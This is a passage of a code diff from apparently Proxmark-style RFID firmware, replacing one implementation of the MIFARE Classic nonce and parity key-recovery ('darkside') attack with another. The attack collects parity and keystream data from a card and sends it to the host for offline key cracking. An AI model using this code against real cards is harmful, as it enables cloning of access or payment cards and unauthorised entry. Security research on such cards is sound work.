-               if(!iso14443a_select_card(uid, NULL, &cuid)) continue;
-
-               // Transmit MIFARE_CLASSIC_AUTH
-               ReaderTransmit(mf_auth, sizeof(mf_auth));
-
-               // Receive the (16 bit) "random" nonce
-               if (!ReaderReceive(receivedAnswer)) continue;
-        memcpy(nt, receivedAnswer, 4);
-
-        //Now we have the NT. Check if this NT is already under attack
-        AttackState* pState = NULL;
-        int i = 0;
-        for(i = 0 ; i < nts_attacked && pState == NULL; i++)
-        {
-            if( memcmp(nt, states[i].nt, 4) == 0)
-            {
-                //we have it
-                pState = &states[i];
-                //Dbprintf("Existing state found (%d)", i);
-            }
-        }
+                       led_on = !led_on;
+                       if(led_on) LED_B_ON(); else LED_B_OFF();

 
 

-        if(pState == NULL){
-            if(nts_attacked < STATE_SIZE )
-            {
-                //Initialize  a new state
-                pState = &states[nts_attacked++];
-                //Clear it before use
-                memset(pState, 0, sizeof(AttackState));
-                memcpy(pState->nt, nt, 4);
-                i = nts_attacked;
-                //Dbprintf("New state created, nt=");
-            }else if(!high_entropy_warning_issued){
-                /**
-                 *If we wound up here, it means that the state table was eaten up by potential nonces. This could be fixed by
-                 *increasing the size of the state buffer, however, it points to some other problem. Ideally, we should get the same nonce
-                 *every time. Realistically we should get a few different nonces, but if we get more than 50, there is probably somehting
-                 *else that is wrong. An attack using too high nonce entropy will take **LONG** time to finish.
-                 */
-                DbpString("WARNING: Nonce entropy is suspiciously high, something is wrong. Check timeouts (and perhaps increase STATE_SIZE)");
-                high_entropy_warning_issued = 1;
-            }
-        }
+                       par_list[nt_diff] = par;
+                       ks_list[nt_diff] = receivedAnswer[0] ^ 0x05;

 
 

+                       // Test if the information is complete
+                       if (nt_diff == 0x07) {
+                               isOK = 1;
+                               break;
+                       }

 
 

+                       nt_diff = (nt_diff + 1) & 0x07;
+                       mf_nr_ar[3] = (mf_nr_ar[3] & 0x1F) | (nt_diff << 5);
+                       par = par_low;
+               } else {
+                       if (nt_diff == 0 && first_try)
+                       {
+                               par++;
+                       } else {
+                               par = (((par >> 3) + 1) << 3) | par_low;
+                       }
+               }
+       }

 
 

-        if(pState == NULL) continue;
+       LogTrace((const uint8_t *)&nt, 4, 0, GetParity((const uint8_t *)&nt, 4), TRUE);
+       LogTrace(par_list, 8, 0, GetParity(par_list, 8), TRUE);
+       LogTrace(ks_list, 8, 0, GetParity(ks_list, 8), TRUE);

 
 

-        int result = continueAttack(pState, receivedAnswer);
+       mf_nr_ar[3] &= 0x1F;
+       
+       byte_t buf[28];
+       memcpy(buf + 0,  uid, 4);
+       num_to_bytes(nt, 4, buf + 4);
+       memcpy(buf + 8,  par_list, 8);
+       memcpy(buf + 16, ks_list, 8);
+       memcpy(buf + 24, mf_nr_ar, 4);
+               
+       cmd_send(CMD_ACK,isOK,0,0,buf,28);

 
 

-        if(result == 1){
-            //One state progressed another step
-            if(pState->nt_diff >  progress)
-            {
-                progress = pState->nt_diff;
-                //Alert the user
-                Dbprintf("Recovery progress: %d/8, NTs attacked: %d ", progress,nts_attacked );
-            }
-            //Dbprintf("State increased to %d in state %d", pState->nt_diff, i);
-        }
-        else if(result == 2){
-            //Dbprintf("Continue attack no answer, par is now %d", pState->par);
-        }
-        else if(result == 0){
-            //uint64_t par_list = bytes_to_num((uint8_t*)&pState->par_list, 8);
-            //uint64_t ks_list = bytes_to_num((uint8_t*)&pState->ks_list, 8);
-            //uint32_t xnt = bytes_to_num((uint8_t*)&pState->nt,4 );
-            //uint32_t xuid = (uint32_t)bytes_to_num((uint8_t*)&uid, 4);
-            //Dbprintf("\n#nuid(%08x) nt(%08x) par(%016x) ks(%016x)",xuid,xnt,par_list,ks_list);
-            //Dbprintf("\n./nonce2key %08x %08x %016x %016x\n",xuid,xnt,par_list,ks_list);
-            //Dbprintf("Finished");
-            reportResults(uid,pState,1);
-            return;
-            //memset(pState, 0, sizeof(AttackState));
-            //memcpy(pState->nt, nt, 4);
-            //Dbprintf("State reset for state %d!", i);
-            //return;
-        }
-    }
-    reportResults(uid,NULL,0);
+       // Thats it...
+       FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
+       LEDsoff();
+       tracing = TRUE;

 }
 }

+

 //-----------------------------------------------------------------------------
 // MIFARE 1K simulate. 
 // 
 //-----------------------------------------------------------------------------
 // MIFARE 1K simulate. 
 //